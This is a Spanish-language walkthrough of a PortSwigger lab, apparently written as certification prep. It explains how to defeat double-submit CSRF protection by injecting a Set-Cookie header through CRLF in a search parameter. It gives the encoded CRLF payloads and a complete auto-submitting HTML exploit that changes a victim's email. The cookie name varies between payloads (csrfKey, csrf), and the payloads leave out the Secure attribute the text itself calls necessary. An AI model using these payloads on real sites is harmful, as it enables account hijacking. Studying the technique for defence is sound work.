CSRF where token is duplicated in cookie

Certificaciones

• eWPT
• eWPTXv2
• OSWE
• BSCP

Descripción

Este laboratorio tiene una funcionalidad de cambio de correo electrónico que es vulnerable a CSRF. El sitio web utiliza una medida de prevención contra ataques CSRF llamada double submit que puede ser evadida. Para resolver el laboratorio, debemos usar nuestro servidor de explotación para alojar una documento HTML que realice un ataque CSRF y cambie la dirección de correo electrónico del usuario víctima. Podemos iniciar sesión en nuestra cuenta utilizando las credenciales wiener:peter

---

Guía de CSRF

Antes de completar este laboratorio es recomendable leerse esta guía de CSRF https://justice-reaper.github.io/posts/CSRF-Guide/

Resolución

Al acceder a la web vemos esto

Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que hay un botón para cambiar el email

Vemos que tenemos un cuadro de búsqueda el cual nos permite hacer búsquedas

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que al hacer una búsqueda se nos setea una cookie

Vemos que podemos inyectar parámetros en las cookies

Un CRLF Injection (Carriage Return Line Feed Injection) es una vulnerabilidad que ocurre cuando un atacante puede inyectar caracteres de control CR (Carriage Return, \r) y LF (Line Feed, \n) en una aplicación web o un sistema que maneja entradas de texto. Estos caracteres son utilizados para indicar el final de una línea en muchos sistemas, como en los encabezados HTTP o archivos de texto. En Hacktricks https://book.hacktricks.wiki/en/pentesting-web/crlf-0d-0a.html y en PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection podemos encontrar varios payloads y ataques. Con este pequeño script de python podemos encodear los caracteres para que sean válidos a la hora de llevar a cabo la inyección

#!/usr/bin/python3

import urllib.parse

crlf_encoded = urllib.parse.quote("\r\n")
print(crlf_encoded)

# python crlf_encode.py
%0D%0A

Otra forma sería usando este comando de linux, lo que hace es obtener el carácter en hexadecimal con xxd -p y luego le añade el % para convertirlo en urlencode

# echo -n "\r\n" | xxd -p | sed 's/\(..\)/%\1/g'            
%0d%0a

Algunas aplicaciones no mantienen ningún registro del lado del servidor de los tokens que han sido emitidos. En su lugar, duplican cada token dentro de una cookie y un parámetro de solicitud. Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el token enviado en el parámetro de solicitud coincida con el valor enviado en la cookie

Esto se denomina double submit y se recomienda porque es fácil de implementar y evita la necesidad de que el servidor almacene información adicional sobre los tokens CSRF en la sesión del usuario o en una base de datos

En esta situación, el atacante puede realizar un ataque CSRF si el sitio web contiene alguna funcionalidad de configuración de cookies. Aquí, el atacante no necesita obtener un token válido propio. Simplemente inventa un token (quizás en el formato requerido, si este es verificado), aprovecha el comportamiento de configuración de cookies para colocar su cookie en el navegador de la víctima y luego usa ese token en el ataque CSRF. Si cambiamos el email y capturamos la petición podemos ver dos tokens CSRF con el mismo valor, uno en la cookie y otro que se transmite en el body de la petición

Si ambos tokens CSRF no coinciden nos devuelve un error

Sin embargo, si ambos tokens coinciden independientemente del formato que tengan la petición se envía de forma correcta. Por lo tanto, podemos confirmar de definitivamente que se está empleando double submit

Si modificamos la cookie session vemos que se nos desloguea y nos asigna una nueva cookie session, pero la cookie csrf no se modifica

Si inspeccionamos el código, vemos cómo se envía el formulario. Podemos usar este formulario como modelo para construir nuestro propio payload

Para explotar el CSRF tenemos usar el HTTP Header Injection para inyectar nuestra cookie csrfKey y su valor en el navegador de la víctima. También tenemos que inyectar Samesite: None, lo que hace que la cookie se envíe siempre, incluso en solicitudes de terceros. Desde 2020, los navegadores exigen que las cookies con SameSite=None estén configuradas con Secure. Si no se incluye el atributo Secure junto con SameSite=None, la cookie no se enviará en las solicitudes entre sitios web

/?search=test
\r\nSet-Cookie: csrfKey= pwned; SameSite= None

/?search=test%0D%0ASet-Cookie:%20csrfKey=%20pwned%20SameSite=%20None

Para comprobar que funciona nos dirigimos al Exploit server y lo pegamos. El valor del token CSRF y el de la cookie csrfKey son nuestros, los cuales obtenemos tras loguearnos. Lo primero que hace este exploit es rellenar el formulario de cambio de email y posteriormente mediante una imagen hacemos una petición que le setea al usuario víctima nuestra csrfKey y el atributo Samesite=None, por último, como esto no es ninguna imagen va a dar un error y va a enviar el formulario

<html>
    <body>
        <form action="https://0a7500cf04cace2a819aa7c1004f0055.web-security-academy.net/my-account/change-email" method="POST">
            <input type="hidden" name="email" value="pwned@gmail.com">
            <input type="hidden" name="csrf" value="pwned">
        </form>
        <img src="https://0a7500cf04cace2a819aa7c1004f0055.web-security-academy.net/?search=test%0D%0ASet-Cookie:%20csrf=%20pwned%3b%20SameSite=%20None" onerror="document.forms[0].submit();">
    </body>    
</html>

Una vez hecho esto pulsamos sobre View exploit para ver si nos cambia el email a nosotros y efectivamente nos lo cambia. Independientemente de como generemos el payload, para completar el laboratorio debemos pegarlo en el Exploit server y pulsar sobre Delivery exploit to victim. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email, por lo tanto, debemos cambiar nuestro email o cambiar el email en el payload que enviamos